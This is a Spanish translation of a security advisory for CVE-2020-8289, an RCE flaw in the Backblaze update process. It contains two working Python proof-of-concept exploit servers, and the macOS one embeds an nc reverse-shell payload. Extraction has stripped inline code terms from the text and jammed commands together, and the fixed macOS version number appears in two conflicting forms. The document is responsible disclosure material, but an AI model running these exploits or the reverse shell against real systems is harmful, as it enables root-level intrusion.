
CVE-2020-8289 – Ejecución remota de código como SYSTEM/root a través de Backblaze
Nombre: Ejecución remota de código como SYSTEM/root a través de Backblaze
CVE: CVE-2020-8289
Descubridor: Jason Geffner
Proveedor: Backblaze
Producto: Backblaze para Windows y Backblaze para macOS
Riesgo: Crítico
Fecha de descubrimiento: 2020-03-13
Fecha de publicación: 2020-09-09
Versión corregida: 7.0.1.433 (Windows) y 7.1.0.434 (macOS)
Según Wikipedia, Backblaze es
"una herramienta de copia de seguridad en línea que permite a los usuarios de Windows y macOS respaldar sus datos en centros de datos externos. El servicio está diseñado para empresas y usuarios finales, proporcionando espacio de almacenamiento ilimitado y soportando tamaños de archivo ilimitados."
Las versiones vulnerables de Backblaze para Windows y Backblaze para macOS contienen una vulnerabilidad de riesgo crítico que permite a un atacante remoto anónimo sin privilegios ejecutar código de forma remota (RCE) como SYSTEM/root.
El proceso de servicio del cliente de Backblaze, llamado bzserv, se ejecuta como SYSTEM en Windows y como root en macOS. Cada un par de horas, bzserv ejecuta un programa llamado bztransmit (ejecutado como SYSTEM/root) para descargar un archivo XML llamado clientversion.xml desde el centro de datos de Backblaze para comprobar si hay disponible una versión más reciente del cliente de Backblaze para descargar. La URL para este archivo XML se construye a partir del nombre de host bzdatacenter en el archivo bzinstall.xml instalado (solo lectura para usuarios sin privilegios) y la ruta fija api/clientversion.xml, produciendo una URL como https://ca000.backblaze.com/api/clientversion.xml. Esta descarga se realiza mediante una biblioteca libcurl enlazada estáticamente. Sin embargo, las funciones de que usan contienen una lógica peculiar que hace que establezcan a y a si la URL dada contiene una de las siguientes cadenas:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeEsto permite a un atacante remoto suplantar el servidor web https://ca000.backblaze.com/ con un certificado SSL no válido (por ejemplo, un certificado autofirmado) y proporcionar al cliente un archivo clientversion.xml controlado por el atacante. Cuando bztransmit analiza el archivo XML descargado, comprueba si la última versión del cliente descrita en el archivo XML es más reciente que la versión instalada y, si es así, descarga el instalador de la última versión del cliente desde el centro de datos de Backblaze. La URL para esta descarga se construye a partir del atributo win32_url/mac_url en el archivo clientversion.xml descargado; el valor del atributo debe comenzar con %DEST_HOST% y esa cadena se reemplaza en tiempo de ejecución con el nombre de host del centro de datos descrito anteriormente. El atacante puede, por lo tanto, proporcionar en su clientversion.xml una URL de descarga como %DEST_HOST%/api/install_backblaze, para hacer que bztransmit descargue el instalador desde https://ca000.backblaze.com/api/install_backblaze e ignore nuevamente el certificado SSL del servidor debido a la cadena en la URL. Si el archivo descargado no es un archivo ZIP (por ejemplo, si es un archivo PE o un archivo Mach-o), la única validación del archivo que realiza es que el archivo contenga la cadena en un cierto rango de desplazamiento dentro del archivo. Una vez que esta validación se supera, usa / para ejecutar el archivo descargado como /, lo que permite al atacante realizar RCE como /.
Vídeo: https://youtu.be/W0THXbcX5V8
Esta prueba de concepto es para el cliente de Windows. Asumimos que el atacante ya ha enviado una respuesta DNS falsificada a la víctima para apuntar ca000.backblaze.com a la IP del atacante, pero para fines de prueba del PoC puedes agregar en su lugar la línea <attacker's IP> ca000.backblaze.com al archivo %windir%\System32\drivers\etc\hosts de la víctima. El código siguiente espera que el atacante proporcione rce.exe (que se ejecutará como SYSTEM en el sistema de la víctima) y server.pem (que puede ser autofirmado).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Una vez que el código anterior se esté ejecutando, espera. El cliente de la víctima comprueba si hay actualizaciones cada un par de horas.
Si deseas probar el PoC sin esperar, puedes ejecutar los siguientes comandos como SYSTEM (usando psexec, por ejemplo) en el sistema de la víctima para forzar la comprobación de actualizaciones:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateVídeo: https://youtu.be/ILPP1Ky5nuY
Esta prueba de concepto es para el cliente de macOS. En el mundo real, un atacante enviaría una respuesta DNS falsificada a la víctima para apuntar ca000.backblaze.com a la IP del atacante, pero para fines del PoC, atacamos desde el mismo sistema que la víctima y explotamos el servicio de Backblaze comprometido para crear una shell remota de vuelta al atacante, otorgando así acceso root al atacante remoto potencial.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Una vez que el código anterior se esté ejecutando, espera. El cliente de la víctima comprueba si hay actualizaciones cada un par de horas.
Si deseas probar el PoC sin esperar, puedes ejecutar los siguientes comandos en el sistema de la víctima para forzar la comprobación de actualizaciones:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze parcheó esta vulnerabilidad en la versión 7.0.1.433 de Backblaze para Windows y en la versión 7.0.1.434 para macOS.
Esta vulnerabilidad fue descubierta y reportada a Backblaze por Jason Geffner a través de HackerOne.
2020-03-13 - Vulnerabilidad descubierta y reportada a Backblaze a través de HackerOne
2020-03-31 - HackerOne verificó la vulnerabilidad
2020-04-09 - Se lanzaron las compilaciones 7.0.1.433 para Windows y 7.1.0.434 para macOS
2020-04-17 - Se asignó CVE-2020-8150
2020-04-18 - Se verificó la mitigación de la vulnerabilidad
2020-04-20 - Se solicitó la divulgación pública
2020-09-09 - Divulgación pública
2020-12-22 - La asignación del CVE cambió a CVE-2020-8289
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot